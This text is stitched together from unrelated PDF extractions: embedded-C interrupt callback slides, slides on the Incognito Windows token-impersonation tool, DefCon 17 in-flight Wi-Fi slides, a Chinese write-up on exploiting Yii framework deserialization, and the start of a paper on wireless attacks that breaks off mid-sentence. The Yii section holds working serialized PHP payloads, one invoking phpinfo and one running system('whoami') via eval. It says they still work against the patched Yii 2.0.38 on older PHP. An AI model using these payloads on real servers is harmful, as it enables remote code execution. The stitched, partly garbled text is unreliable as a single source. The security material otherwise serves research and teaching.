device_driver_controller(4);
//Inside drvInterrupt.c
//defining the pointer to use in ISR callback
typedef void (*intFunc)(void);
//store the pointer to ISR here
static intFunc thisInterrupt;
//Set interrupt function to be called
char setInterruptFunc(void *parameters) {
thisInterrupt = (intFunc) parameters;
return SUCESS;
}
device_driver_controller(4);
//Interrupt function set without knowing hard/compiler issues
void timerISR(void) {
callDriver(DRV_TIMER, TMR_RESET, 1000);
kernelClock();
}
void main (void){
kernelInit();
initDriver(DRV_TIMER);
initDriver(DRV_INTERRUPT);
callDriver(DRV_TIMER, TMR_START, 0);
callDriver(DRV_TIMER, TMR_INT_EN, 0);
callDriver(DRV_INTERRUPT, INT_TIMER_SET, (void*)timerISR);
callDriver(DRV_INTERRUPT, INT_ENABLE, 0);
kernelLoop();
}
device_driver_controller(4);
driver_callback(5.4);
device_driver_controller(4);
How to make efficient use of CPU peripherals
without using pooling or hard-coding the
interrupts?
device_driver_controller(4);
Callback functions
device_driver_controller(4);
• Callback functions resemble events in high level
programming
e.g.: When the mouse clicks in the button X, please
call function Y.
• The desired hardware must be able to rise an
interrupt
• Part of the work is done under interrupt context,
preferable the faster part
device_driver_controller(4);
Main
Process
Driver
Interrupt
Layer
ISRsetup
(&callbackPtr)
DataRequest (&callbackProc)
HW interrupt
isrPtr()
Kernel
kernelAddProc(&callback)
KernelLoop:
MainProc.()
KernelLoop: CallbackProc()
KernelInit: InitDrv()
Callback
Process
device_driver_controller(4);
//********** Excerpt from drvAdc.c **********
// called from setup time to enable ADC interrupt
// and setup ADC ISR callback
char enableAdcInterrup(void* parameters){
callDriver(DRV_INTERRUPT,INT_ADC_SET,(void*)adcISR);
BitClr(PIR1,6);
return FIM_OK;
}
//********** Excerpt from drvInterrupt.c **********
// store the pointer to the interrupt function
typedef void (*intFunc)(void);
static intFunc adcInterrupt;
// function to set ADC ISR callback for latter use
char setAdcInt(void *parameters) {
adcInterrupt = (intFunc)parameters;
return FIM_OK;
}
device_driver_controller(4);
//********** Excerpt from main.c **********
// Process called by the kernel
char adc_func(void) {
//creating callback process
static process proc_adc_callback = {adc_callback, 0, 0};
callDriver(DRV_ADC,ADC_START,&proc_adc_callback);
return REPEAT;
}
//********** Excerpt from drvAdc.c **********
//function called by the process adc_func (via drv controller)
char startConversion(void* parameters){
callBack = parameters;
ADCON0 |= 0b00000010;
//start conversion
return SUCCESS;
}
device_driver_controller(4);
//********** Excerpt from drvInterrupt.c **********
//interrupt function
void isr(void) interrupt 1 {
if (BitTst(INTCON, 2)) { //Timer overflow
}
if (BitTst(PIR1, 6)) { //ADC conversion finished
//calling ISR callback stored
adcInterrupt();
}
}
//********** Excerpt from drvAdc.c **********
//ADC ISR callback function
void adcISR(void){
value = ADRESH;
value <<= 8;
value += ADRESL;
BitClr(PIR1,6);
kernelAddProc(callBack);
}
device_driver_controller(4);
//********** Excerpt from main.c **********
//callback function started from the kernel
char adc_callback(void) {
unsigned int resp;
//getting the converted value
callDriver(DRV_ADC,ADC_LAST_VALUE,&resp);
//changing line and printing on LCD
callDriver(DRV_LCD,LCD_LINE,1);
callDriver(DRV_LCD,LCD_INTEGER,resp);
return SUCCESS;
}
“Don't Reinvent
The Wheel,
Unless You Plan
on Learning More
About Wheels”
Jeff Atwood
Thanks!
Rodrigo Maximiano Antunes de Almeida
[email protected]
@rmaalmeida
Universidade Federal de Itajubá
Portal embarcados | pdf |
One Token to Rule
Them All:
Post-Exploitation Fun in
Windows Environments
06 July 2007
2
Introduction
The Increasing Importance of Post-Exploitation
•
Microsoft Technology is Pervasive
•
Security has improved significantly since their Trustworthy Computing Initiative
•
Consequently, Post-Exploitation has become increasingly important
3
Introduction
The Potential for Token Abuse for Post-Exploitation
•
This has been addressed to some extent. Metasploit is a good example
•
From a penetration tester’s perspective, not much has been done with windows
access tokens
•
They are integral to Microsoft's whole concept of single sign-on within an active
directory environment
•
Difficult to convince clients of the importance of keeping their administrators' desktops
as secure as their servers etc
4
Windows Access Tokens: An Overview
•
Not well understood
•
Processes have a primary token associated which dictates their privileges
•
Threads by default use this but can impersonate other users temporarily through
impersonation tokens
•
Tokens have four different security levels (delegation most interesting) : -
o Anonymous
o Identification
o Impersonation
o Delegation
•
Interactive logons result in delegation level tokens being created
•
Non-interactive logons normally result in impersonation level tokens, but can produce
delegation tokens if a service is trusted for delegation e.g. EFS file server
5
Token Abuse
•
Tokens may be present on compromised systems that allow privilege escalation of
some sort
•
Domain Privilege Escalation
o If domain user tokens are available then other systems may be accessible using
these
o e.g. compromising a DBA's workstation might allow his token to be used to gain
access to sensitive database servers that are secure from direct compromise
•
Local Privilege Escalation
o Under some circumstances, presence of impersonation level tokens may allow
local privilege escalation
o compromising an SQL Server instance running as an unprivileged service
account. If an administrator connects using windows authentication then their
access token can be used to escalate privileges to local Administrator.
6
Requirements From a Penetration Tester's
Perspective
•
Enumerate available tokens from a compromised system
•
Perform common post-exploitation tasks using specific tokens
o Execute processes
o Force remote connections in order to capture challenge/response
LANMAN/NTLM hashes
o Add a user to a host, a user to a group etc
7
Introducing Incognito
An Overview
•
Why the name?
o Because it allows you to assume another’s identity
•
Functionality
o List available tokens by unique username or group
o Create processes with a specified token e.g. cmd.exe
o Snarf challenge/response hashes of all tokens
o Attempt to add a user to a host with all tokens
o Attempt to add a user to a group on a host with all tokens
o Can be used remotely with communication over named pipes (pwdump style)
8
Introducing Incognito
Enumerating Tokens
•
Uses NtQuerySystemInformation() API call to enumerate all handles on the system
NTSTATUS WINAPI NtQuerySystemInformation( SYSTEM_INFORMATION_CLASS
SystemInformationClass, PVOID SystemInformation, ULONG
SystemInformationLength, PULONG ReturnLength );
•
NtQueryObject() API call is then used to determine which handles are access tokens
NTSTATUS NtQueryObject( HANDLE Handle, OBJECT_INFORMATION_CLASS
ObjectInformationClass, PVOID ObjectInformation, ULONG
ObjectInformationLength, PULONG ReturnLength );
•
Various other API calls, such as GetTokenInformation() and LookupAccountSid() are
then used to discover information about the tokens such as the username and groups
associated and security level (impersonation, delegation etc)
9
Introducing Incognito
Enumerating Tokens
10
Introducing Incognito
Creating Processes
•
Processes can be created using tokens present on the system, which is implemented
via the CreateProcessAsUser() API call, which allows a token handle to be specified.
BOOL WINAPI CreateProcessAsUser( HANDLE hToken, LPCTSTR
lpApplicationName, LPTSTR lpCommandLine, LPSECURITY_ATTRIBUTES
lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID
lpEnvironment, LPCTSTR lpCurrentDirectory, LPSTARTUPINFO
lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation );
•
This is a useful post-exploitation feature. A common example would be to create a
new instance of cmd.exe to gain access to a command shell running under the context
of the specified token
11
Introducing Incognito
Creating Processes
12
Introducing Incognito
Snarfing Hashes
•
With the aid of a sniffer, LANMAN/NTLM challenge response hashes can be snarfed
by forcing connections to remote servers with delegation level tokens. This makes use
of the WNetAddConnection2() API call and iterates through all available tokens
DWORD WNetAddConnection2( LPNETRESOURCE lpNetResource, LPCTSTR
lpPassword, LPCTSTR lpUsername, DWORD dwFlags );
13
Introducing Incognito
Adding Users to Hosts
•
Incognito can use the Network Management set of API calls to perform some common
user and group management operations.
•
The NetUserAdd(), NetGroupAddUser() and NetLocalGroupAddMembers() API calls
allow users to be added to hosts, users to be added to global groups on hosts and
users to be added to localgroups on hosts, respectively.
14
Incognito Demo
15
Unsuspected 0wnage
•
I'm currently logged off. My account is safe...right?
o It is supposed to be as all tokens should be cleaned up when a session ends (for
example, when you log off in the case of an interactive login)
o Whilst researching this topic I stumbled upon a case where this isn't true
o On unpatched systems the tokens for interactive logins appear to persist after
logoff.
o Tokens are only reported as impersonation level tokens through the W32 API but
if you try to use them it turns out they can access network resources!
o Tokens do not disappear until reboot
•
Therefore, if you logged into "that ropey old development system" briefly a
month ago as a Domain Admin then your entire Windows Domain just got
0wned! :)
16
Unsuspected 0wnage Demo
17
Metasploit Integration
•
I am a big fan of the Metasploit project
•
Whilst writing Incognito it occurred to me that Incognito's functionality would be very
useful as a Meterpreter module
o It would allow Incognito's features to be utilised directly through an exploit
launched from Metasploit
o The Meterpreter runs as a thread and so implementing the functionality to cause
that thread to impersonate another token would automatically allow all of the
existing Meterpreter functionality to be used under the context of other tokens
o The automated exploitation functionality offered by Metasploit could be used to
perform certain actions automatically on every compromised host across a large
network
o e.g. Tell Metasploit to try to compromise every windows system on a particular
address range, snarf the hashes of all the available tokens and try to add a new
domain administrator.
18
Incognito Meterpreter Module Demo
19
Precision Strikes
Locating targets that might house interesting tokens
•
When using Incognito’s functionality for domain privilege escalation it is a useful
general tool for “squeezing all the juice” out of a compromise
•
However, a penetration test may often be highly targeted e.g. attacking an
organisation’s financial SQL Server databases
•
These systems may be very well protected and so safe from direct compromise.
However, other systems that house tokens which have access to these systems may
be less well protected e.g. the DBA’s desktop
•
It is likely that it would not be feasible to make the effort to compromise as much of a
large network as possible in a brute force approach, hoping compromised systems
might house these sensitive tokens.
•
It would be nice if it were simple to locate systems that house these tokens before
making the effort to compromise them…..a precision strike
20
Locating Tokens
•
Incognito comes with a supplementary tool which offers the ability to enumerate what
tokens might be present on a system before compromising it
•
The tool is called find_token and it can sweep a network remotely in order to search
for particular tokens
•
This is achieved via the API call NetWkstaUserEnum() which can be used to
enumerate the currently logged on users
•
To sweep an entire domain using this API call, it is only necessary to have a standard
domain user account.
•
It is not perfect since it lists users that have logged on previously but have since
logged off and so can produce false positives. However, this can be very useful for
unpatched hosts that do not clean up their tokens on logoff!
21
Targeted Penetration Testing With Incognito
A Basic Methodology
1) Determine targets (e.g. critical database servers)
2) Conduct conventional penetration testing
3) If penetration attempts fail then attempt to enumerate who has access to the system
with standard techniques (e.g. members of local administrators group)
4) Locate other systems that might currently house the relevant users' tokens (with
find_token’s functionality)
5) Attempt to penetrate these systems
6) If present, use tokens from compromised hosts to compromise main targets
22
Defence
•
Limiting the use of privileged accounts helps reduce exposure (e.g. run as)
•
Use "Account is sensitive and cannot be delegated" option in active directory for highly
privileged accounts (doesn't work with interactive sessions)
•
Don't have ropey old boxes lying around! In particular, secure your administrators’
desktops
•
Resources are only as secure as the weakest system that any account that can be
used to access them is currently logged into. Therefore, it is important to have strong
policies governing security requirements for systems in order for sensitive accounts to
be used to access them.
•
Use separate administrative accounts for accessing development/test systems that are
likely to be more prone to compromise than their production system counterparts | pdf |
a 30,000 feet look at wi-fi,
the freezing spot
luiz “effffn” eduardo
hello
DefCon 17
before we start...
DefCon 17
so, why freezing spots?
DefCon 17
agenda
•motivation
•the old and the new
•the pieces of the puzzle
DefCon 17
•the experiment(s)
•next?
disclaimer
DefCon 17
motivation
gts 12
the pieces of the puzzle
DefCon 17
gts 12
gts 12
gts 12
the old school way
DefCon 17
the “new” stuff
DefCon 17
gts 12
so, I asked...
DefCon 17
Hello Luiz,
You have asked a great question!
You have asked a great question!
You have asked a great question!
You have asked a great question!
What has changed that internet is now available during flight is
What has changed that internet is now available during flight is
What has changed that internet is now available during flight is
What has changed that internet is now available during flight is
technology. With the ability to use Wi
technology. With the ability to use Wi
technology. With the ability to use Wi
technology. With the ability to use Wi----Fi frequencies instead
Fi frequencies instead
Fi frequencies instead
Fi frequencies instead
of cellular frequencies this has been approved! The FAA still
of cellular frequencies this has been approved! The FAA still
of cellular frequencies this has been approved! The FAA still
of cellular frequencies this has been approved! The FAA still
has all voice communication prohibited.
has all voice communication prohibited.
has all voice communication prohibited.
has all voice communication prohibited.
If you would like more information on this please feel free to visit the links
If you would like more information on this please feel free to visit the links
If you would like more information on this please feel free to visit the links
If you would like more information on this please feel free to visit the links
below:
below:
below:
below:
http://www.aa.com/content/amrcorp/pressReleases/2008_08/20_
http://www.aa.com/content/amrcorp/pressReleases/2008_08/20_
http://www.aa.com/content/amrcorp/pressReleases/2008_08/20_
http://www.aa.com/content/amrcorp/pressReleases/2008_08/20_
gogo.jhtml
gogo.jhtml
gogo.jhtml
gogo.jhtml
and
and
and
and
DefCon 17
http://www.aircell.mediaroom.com/index.php?s=43&item=78 (the article
http://www.aircell.mediaroom.com/index.php?s=43&item=78 (the article
http://www.aircell.mediaroom.com/index.php?s=43&item=78 (the article
http://www.aircell.mediaroom.com/index.php?s=43&item=78 (the article
the approves the FAA is dated April 2, 2008)
the approves the FAA is dated April 2, 2008)
the approves the FAA is dated April 2, 2008)
the approves the FAA is dated April 2, 2008)
Looking forward to working with you!
For more information, please check out our website at www.gogoinflight.com. On this site you can
sign up for our newsletter informing you of updates and promotions! Our friendly Gogo
Customer Care representatives are available by Live Chat from the gogoinflight.com website
or call us in person at 1-877-350-0038.
Happy Travels *-)-™
Gogo Customer Care
You are one of our very best customers and we appreciate your
inquiry about WiFi
Internet Connectivity aboard our aircraft. Please know that we
carefully tested this product for some time before
implementation on our 767-200 aircraft. We would never
offer any inflight product our service that would be a safety
issue.
DefCon 17
We value your long-standing loyalty and support and are eager
to continue the relationship we have enjoyed over the years.
Please be assured we are all working hard to provide the high
quality service you have every right to expect when
traveling on American Airlines.
Sincerely,
in Brazil
•seems to still be pending
ANATEL’s approval
•but should be the same as abroad
DefCon 17
•but we’ll talk further about that...
so, who’s currently providing
the service??
DefCon 17
DefCon 17
gts 12
DefCon 17
DefCon 17
DefCon 17
767-200
gts 12
gts 12
DefCon 17
gts 12
gts 12
the trip
DefCon 17
gts 12
gts 12
gts 12
gts 12
gts 12
gts 12
gts 12
so...
•it worked
•good rf coverage
•slow/ latency
DefCon 17
•session persistency apps
•expensive (?)
gts 12
gts 12
DefCon 17
gts 12
gts 12
gts 12
wi-spy break
gts 12
gts 12
gts 12
gts 12
gts 12
WTF?
gts 12
WTF?
gts 12
come back later
DefCon 17
gts 12
DefCon 17
gts 12
gts 12
okay, but, how about
security?
DefCon 17
lessons learned
DefCon 17
how about the service in
other countries?
gts 12
major differences
gts 12
some details
(and I can always be wrong, remember?)
• user cellphone connects to mini cell
network in the plane
• voice and data calls get routed to
satellite* that connects to ground
stations
gts 12
stations
• crew controlled voicecalls
– being able to switch to silent mode
(thank God
thank God
thank God
thank God!)
• # of simultaneous calls
• uplink speed, depends on the
technology
gts 12
thanks
luiz.eduardo(a t)gmail.com
gts 12
luiz.eduardo(a t)gmail.com | pdf |
前言
本篇文章由 Yii 2.0.35 反序列化漏洞复现到新利用链发现 中发现的新利用连的坑展开的测试. 结果在最后
面
我在文章中提到, poc 加上 phpinfo 才能执行成功. 我当时的猜测是因为 phpinfo 函数执行的回显内容
过大出发了分段传输导致的.
然后我就展开了测试, 测试环境: phpstudy, PHP 7.0.9
利用链调整
文章发出后才发现, 调试时发现利用链中的第二节: \vendor\guzzlehttp\psr7\src\FnStream.php 中
的 __destruct() (对象销毁时)魔术方法就存在危险函数且参数可控, 所以使用这条利用链不需要经过
\vendor\yiisoft\yii2\db\BatchQueryResult.php
测试是否与分块传输有关
像上篇文章一样执行放大危害的操作,此时执行报错了. 由于报错回显的信息也非常大,所以依然是分块
传输, 因此执行结果不受分块传输的影响,
// 控制 $this->_fn_close 为 phpinfo
public function __destruct() {
if (isset($this->_fn_close)) {
call_user_func($this->_fn_close);
}
}
// 执行成功后, 同时也会触发 FnStream 的 __wakeup (反序列化时)魔术方法
public function __wakeup() {
throw new \LogicException('FnStream should never be unserialized');
}
但如果回显内容过少也会影响到执行. 以 whoami 为例. 我以为只是没有回显. 所以我尝试了 shutdown -
t 0 /s 并没有执行. ipconfig /all 正常回显. 所以与回显内容长度有关.
单单根据回显顺的情况,程序的执行顺序像是先执行 __destruct() 然后再执行 __wakeup() 的
测试是否受PHP版本影响
调整 PHP 版本为 7.1.9 , 使用以下 poc , 进行测试
执行失败了!!!!.
namespace GuzzleHttp\Psr7 {
class FnStream {
var $_fn_close;
function __construct() {
$this->_fn_close = "phpinfo";
}
}
$b = new FnStream();
echo(urlencode(serialize($b)));
}
于是我打开了 debug 进行测试. 调试低版本至 7.0.9 的时候我惊奇的发现. 顺序是先到 __wakeup() 执
行 throw new Exception()
之后 居然正常执行了 __destruct() !
当我将PHP版本调整至 7.1.9 就不行了,也就是说!PHP 版本 <= 7.0.9 时. throw new Exception()
后 __destruct() 还会继续正常执行,而不是直接终止程序 !,那如果我用 PHP 7.0.9 跑已修复的版
本(2.0.38)是否能成功呢?
2.0.38 反序列化漏洞
根据 github 上给出的修复 CVE-2020-15148 漏洞信息. Yii 2.0.38(包括)之后. 修复了该问题
Yii 2.0.38 basic-app 下测试
下载 basic-app 打开页面后 提示需要配置 cookieValidationKey
配置 CookieValidation 之后, 复制 TestController.php 过来
可以看到修复代码
使用同样的 payload,成功
绕过 __wakeup
绕过 __wakeup() 也有版本需求, 经过我的一番测试用绕过 _wakeup的方法, 得出的总结是: 可以但没必
要, 来做一个实验.
当前PHP版本 7.0.9, 可以看到直接结果中. 正常执行了 __destruct() , 但是unserialize反序列化的结
果是 false.
打开 xdebug, 查看程序的执行顺序. 确实没有经过 _wakeup. 而是直接进入了 __destruct() , console
中记录了两次报错. 一次是反序列化时, 一次是反序列化结束后。
class FnStream
{
var $_fn_close = "";
public function __destruct()
{
if (isset($this->_fn_close)) {
eval($this->_fn_close);
}
}
public function __wakeup()
{
throw new \LogicException('FnStream should never be unserialized');
}
}
var_dump(unserialize('O:8:"FnStream":2:
{s:9:"_fn_close";s:17:"system(\'whoami\');";}'));
当我将版本调至 PHP 版本 7.1.9,执行结果就只有 false. 且 xdebug 时 console 没有报错信息. 代码也直
接终止了.
官方修复
Yii 2.0.39 已经开始对 PHP 版本进行限制,已无法使用该方法绕过, 设置 cookieValidationKey, 复制
TestController.php 后. 再次尝试.
而且语法也采用了高版本的写法. 强制使用其框架的应用跑在高版本的 PHP 服务上.
总结
Yii 修复版本后 2.0.38 可以利用 PHP <= 7.0.9 配合以下利用链的 POC 再次触发反序列化漏洞.Yii 2.0.39
后对 PHP 版本进行了限制. 已无法使用该方法触发反序列化漏洞
该方法与之前猜想的分块传输无关, 与 PHP 版本以及回显内容长度有关.
namespace GuzzleHttp\Psr7 {
class FnStream {
var $_fn_close;
function __construct() {
$this->_fn_close = "phpinfo";
}
}
$b = new FnStream();
echo(serialize($b));
} | pdf |
Radio Exploitation 101
Characterizing, Contextualizing, and Applying Wireless Attack Methods
Matt Knight
Bastille Networks
San Francisco, CA
[email protected]
Marc Newlin
Bastille Networks
Atlanta, GA
[email protected]
Abstract—Reverse engineering wireless physical layers has never
been easier, thanks to the commoditization of Software Defined
Radio (SDR) technology and an active open source community.
However, the successful application of SDR to security challenges
requires extensive domain knowledge and insight into radio
frequency fundamentals.
The goal of this paper, and accompanying presentation, is
to highlight how wireless network exploitation is both similar
to, and distinct from wired, network exploitation, and to
offer techniques that will aid security researchers in thinking
creatively
about
wireless
reverse
engineering
and
exploit
development.
Index Terms—wireless, security, reverse engineering, software
defined radio, radio frequency, internet of things, mobile
I. INTRODUCTION
The
growth
of
mobile
and
Internet
of
Things
(IoT)
technologies has reshaped the computing landscape as we
know it. Devices are made to be “smart” (smart[phones
— cars — refridgerators — etc.]) by upgrading them with
embedded computers. By bolting on processing and network
connectivity, they are exposed to other devices on networks,
which can be as small as comprising only two devices or as
broad as the open Internet. This introduces an expansive new
attack surface to a hypothetical security model.
II. THE EVOLUTION OF NETWORK EXPLOITATION
Recent years have seen a flood of novel wireless exploits,
with exploitation moving beyond 802.11 and into more ob-
scure standard and proprietary wireless protocols. This can
be attributed to the proliferation and commoditization of
technologies that provide promiscuous access to the physical
layer of the communication stack. For context, we will briefly
discuss the evolution of network exploitation.
A. Network Abstraction Models
Network abstraction models, such as the Open Systems
Interconnection
(OSI)
model,
separate
communications
functions out into generalized components as a means
of promoting standardization and interoperability. These
abstraction models, however, are arbitrary constructs – that is
to say there is no fundamental difference between electrons
representing data bits at the Data Link Layer vs. data bits at
the Application Layer. However, these abstractions represent
boundaries along which vulnerabilities can exist due to
imperfect or incomplete integration. [1]
Inspecting data at these boundaries, or on lower layers
than manufacturers intended, is a productive means of
discovering vulnerabilities. With wireless systems, the lowest
layer which manufacturers expose is typically the Data Link
Layer (Layer 2) or the Network Layer (Layer 3). Because
the radio-based Physical Layer (Layer 1) is implemented
in purpose-built silicon, it is often either considered to be
out of scope of the security model or taken for granted by
system integrators and vendors. However, advances in radio
technology has made the inspection of radio-based Physical
Layer protocols viable, thus exposing a broad attack surface
to hackers.
B. Commoditization of Early Packet Sniffers
The first commercial network sniffer was released by Network
General as the Sniffer Network Analyzer software in 1986.
[1] Through the mid-1990s, the software was commonly sold
preinstalled on expensive Dolch computers the size of large
briefcases. Before long, commodity network cards became
capable of integrating with the Sniffer Network Analyzer and
applications like it, thus lowering the barrier to inspecting
wired network traffic. [2] Today, packet sniffing software like
Wireshark and tcpdump makes network analysis easier than
ever.
A similar evolution took place with 802.11 in the late
1990s and early 2000s. Monitoring arbitrary 802.11 channels
used to be the domain of expensive test equipment. However,
with
most
commercial
802.11
network
interfaces
now
supporting monitor mode, inspecting arbitrary 802.11 traffic
can be done with commodity 802.11 chipsets.
C. Commodity Software Defined Radio
Following the adoption of myriad wireless technologies in
support of mobile and IoT, we now observe the commodi-
tization of Software Defined Radio (SDR). Software Defined
Radio pushes the architectural hardware/software boundary out
closer to the radio, such that generic hardware can implement
arbitrary wireless protocols in software. This empowers re-
searchers to interface with any wireless system, as long as they
are able to implement the appropriate software. Throughout
the 2000s early Software Defined Radios could be had on an
academic, government, or military budget; now with commer-
cial products like the USRP ($650), BladeRF ($420), HackRF
($300), and the RTL-SDR (˜$20), Software Defined Radio
is within reach of modestly-funded hackers and independent
researchers.
D. The Internet of Embedded Systems
Setting aside marketing buzzwords for a moment, IoT devices,
and wireless radios themselves, are connected embedded sys-
tems. While adding computers to simple machines can lead
to increased precision and efficiency, the design and environ-
mental constraints placed on embedded systems make them
inherently more vulnerable than traditional platforms.
• Hardware limitations: Embedded systems are designed
to be small, low-power, cheap, and inexpensive. They
often use low-power embedded CPUs with limited com-
putational capacity and radio technologies that trade
data rates for endurance. Thus there can be limited
computational and networking bandwidth for encryption
overhead. Finally, embedded systems sometimes use in-
expensive one-time-programmable memory for storing
their images, meaning it is not uncommon for systems to
be unable to receive software updates once manufactured.
• Battery powered: Embedded devices are often battery
powered, meaning they need to aggressively duty-cycle
to save energy.
• Limited connectivity: If connected, embedded systems
are connected often using networking technologies that
have limited bandwidth and scope. This means it can
be difficult to provide sufficient bandwidth for encrypted
communication, or to deliver software updates to devices
in the field.
• Complicated deployments: Embedded systems are of-
ten deployed in hard-to-reach places by non-technical
installers. They therefore are often required to be sim-
ple to install and configure, and either immutable or
hard/expensive to reconfigure once deployed. Addition-
ally, embedded systems are often whitelabeled or sold
through distributors, making ownership of the software
stack a nontrivial matter.
• High endurance: Embedded devices are often expected
to last for years before replacement.
Given these traits, embedded vulnerabilities can persist
for years. Thus, security considerations are essential when
weighing the design of embedded systems, and evaluating the
security of the systems that connect them to the broader world.
III. RADIO-BASED PHYSICAL LAYERS
Wireless communication systems are defined by having a
radio-based physical layer (PHY). A radio-based PHY defines
how data presented by the Data Link Layer (MAC) gets
mapped into electromagnetic phenomena for transmission to
a remote receiver. Overall characteristics of the protocol, such
as bandwidth, promiscuity, and persistence, can vary based on
implementation. All wireless protocols, however, exist within
the radio frequency domain; therefore we invoke the following
concepts:
• Radio Spectrum: Radio waves travel along the electro-
magnetic spectrum. The radio spectrum can be thought of
as a shared communications bus which all radio protocols
use.
• Frequency: Since radio signals are waves, they are
periodic and therefore have a frequency. Within our bus-
based model, the spectrum is MIMO/multi-input multi-
output, with this multiplexing occurring by frequency.
• Channel: All radio protocols have some notional imple-
mentation of a channel. The channel is characterized by
the amount of bandwidth the protocol utilizes, centered
about the center frequency of the signal. There may be
one or several center frequencies depending on whether
the protocol channel hops or not. Channels may overlap,
and transmissions may collide – this is a reality of
working within a shared medium. Traditional electrical
data buses, such as SPI or CAN, are coordinated or
use deconfliction techniques to avoid collisions; wireless
protocols use channel monitoring and retransmissions to
mitigate the impact of collisions.
• Signal Power and Noise: Radio waves propagate in
a similar manner to audio waves. Both gradually lose
power as they radiate away from their source, until
they are eventually lost beneath the noise floor – that
is, they lose power to the point where they become
not discernible from the background noise. The noise
floor is influenced by both the radio receiver itself
and environmental conditions, including intentional and
unintentional (interfering) radio emissions.
IV. RADIO EXPLOITATION 101
Here we begin to outline our wireless threat taxonomy,
with particular emphasis on what makes wireless exploita-
tion and defense distinct from the same on wired networks.
To this end, we have consolidated noteworthy techniques
into the following attack models. This non-exhaustive list
includes sniffing, wardriving, replay attacks, jamming, MAC-
layer channel reservation abuse, evil twin attacks, firmware
update exploitation, and physical layer protocol abuse. For
each type of attack we will describe:
• Method of attack: In plain English, how is this attack
performed?
• Potential impact: What are the consequences for the
victims of such an attack?
• Analogous attack on wired networks: Is there an
analogous attack on wired networks? If not, how and why
is this attack scenario unique to RF?
• A recent example of such an attack: To provide context,
what is a real-world example of a system or organization
that has fallen victim to such an attack?
• Limitations and defensive mitigations: What sets of
circumstances have to align to facilitate this attack? How
broadly viable is it? What steps can defenders take to
mitigate their exposure?
• Description of our paired DEF CON demo: If there
is a live demo from the associated ”Radio Exploitation
101” DEF CON talk, it will be explained here.
A. Sniffing
We begin with sniffing, the passive observation of wireless
network traffic. Sniffing is noteworthy because the wireless
domain enables truly promiscuous sniffing with no direct
physical access.
• Method of attack: Sniffing is performed by using a radio
receiver to passively receive wireless network traffic.
• Potential impact: Data loss, device/network discovery
• Wired analogue: Sniffing exists in wired contexts too.
However, wired network sniffing requires direct physical
access to a network or bus – in other words, one must be
physically connected to the network in order to observe
its traffic. Since electromagnetic signals by nature radiate
throughout free space, listeners other than the intended
receiver can remotely monitor network traffic without
detection.
• Recent example: Marc Newlin’s 2016 Mousejack vul-
nerability revealed that many wireless keyboards failed
to properly encrypt their keystrokes, with many vendors
forgoing encryption entirely – thus, sniffing their traffic
was trivial.
• Limitations and defensive mitigations: While attackers
do not require direct access to a bus, sniffing still requires
a degree of physical proximity to the transmitter. Addi-
tionally, attackers must possess a radio that is compatible
with the protocol to be sniffed. Defenders can mitigate
their exposure by encrypting traffic so that sniffed packets
will be of limited utility to attackers.
• DEF CON demo: Live demonstrationSniffing keystrokes
from an unencrypted wireless keyboard.
B. Wardriving
Wardriving is a type of sniffing that refers to the act of
searching for wireless networks or devices. Its name origi-
nates from 802.11 wardriving, where 802.11 access points are
sought using equipment within a moving vehicle. With the
growth of mobile and IoT protocols, wardriving now refers to
discovering non-802.11 RF networks as well.
• Method of attack: Wardriving can be passive or active.
Passive scenarios involve the attacker sniffing on channels
of interest, looking for wireless traffic that denotes the
presence of a network or device(s). Active scenarios
involve the attacker transmitting messages intended to
induce a response from present devices or infrastructure,
and then sniffing for said responses.
• Potential impact: Discovery of devices and networks,
identifying exploitable devices
• Wired analogue: Active wardriving is analogous to port
scanning. Just as port scanning is a way of discovering
potentially exploitable services running on an endpoint,
active wardriving is a means of discovering and enumerat-
ing potentially exploitable devices within an environment.
Additionally, just as the nmap port scanning tool provides
operating system fingerprinting through wired querying,
wardriving enables device fingerprinting through wireless
characteristics.
• Recent example: Wardriving for 802.15.4 networks is
built in to the Killerbee 802.15.4/ZigBee attack frame-
work. The zbstumbler script hops from channel to chan-
nel, sending broadcast beacons and listening for beacon
responses from network coordinators.
• Limitations and defensive mitigations: As with sniffing,
attackers must have a degree of physical proximity to
the sought after wireless devices in order to wardrive for
them. This can be overcome through the use of directional
equipment, as was done with the proliferation of jury-
rigged cantennas during the peak of 802.11 wardriving.
Wardriving is a conspicuous process, so defenders can
mitigate exposure by being aware of its signatures – for
instance, seeing an atypical flood of probe or beacon
requests across consecutive channels.
• DEF CON demo: Live demonstration of beaconing for
802.15.4 coordinators.
C. Replay Attack
Replay attacks involve retransmitting a previously captured
transmission, possibly to induce a previously observed state
change or action within the network. The replay attack may
involve retransmitting a captured raw PHY-layer payload or
the synthesis of a new frame based on decoded data.
• Method of attack: An attacker must first capture trans-
mission of interest that is correlated with the action on the
target they wish to induce – that is, the transmission they
intend to replay. This can either be a raw IQ spectrum
capture or a decoded packet payload. Software Defined
Radio can produce either as long as it has the appropriate
decoding stack behind it. The captured transmission can
then be replayed to induce the intended action on the
network, either by replaying the raw IQ through the
appropriate Software Defined Radio or by generating a
new transmission from the decoded packet payload.
• Potential impact: Change the state of a network, or
induce a behavior by a device on a network
• Wired analogue: Replay attacks exist in wired contexts.
• Recent example: The April 2017 Dallas tornado emer-
gency alert siren attack is widely believed to be an RF
replay attack. The attacker likely used a Software Defined
Radio to capture the unencrypted, unauthenticated wire-
less signal used to test the sirens and replay said signal
at a later date. [3]
• Limitations and defensive mitigations: Replay attacks
can be defeated by enforcing cryptographic authentica-
tion and freshness. Cryptographic authentication is the
practice of using cryptography to establish trust among
two or more endpoints – essentially using cryptography to
sign messages as a means of validating their authenticity.
Freshness refers to tracking a sequence number within
a message frame – freshness is not a security feature in
and of itself, but when combined with authentication and
encryption can make replay attacks far harder to execute.
• DEF CON demo:
D. Jamming
Jamming is perhaps the most well-known attack on wireless
systems. Since the radio frequency domain can be thought of
as the bus that all wireless systems share, loading it up with
powerful wideband noise or spurious traffic is an effective way
of denying a communications channel.
• Method of attack: Jamming in its simplest form can
be conducted by transmitting noise within the target
network’s RF channel – that is, at the same frequency and
with sufficient bandwidth and power. In lieu of wideband
noise, rapidly sending arbitrary packets while ignoring
channel contention can have the same effect.
• Potential impact: Denies legitimate network traffic, dis-
rupts network state
• Wired analogue: Wired Denial of Service attacks are
analogous to jamming – that is, filling a communications
channel with spurious traffic intended to overload a
communications channel.
• Recent example: In 2014, researcher Logan Lamb dis-
covered that wireless home security system sensors could
be thwarted by using a wideband jammer to block signals
traveling from the sensors to the control panel. [4]
• Limitations and defensive mitigations: From the at-
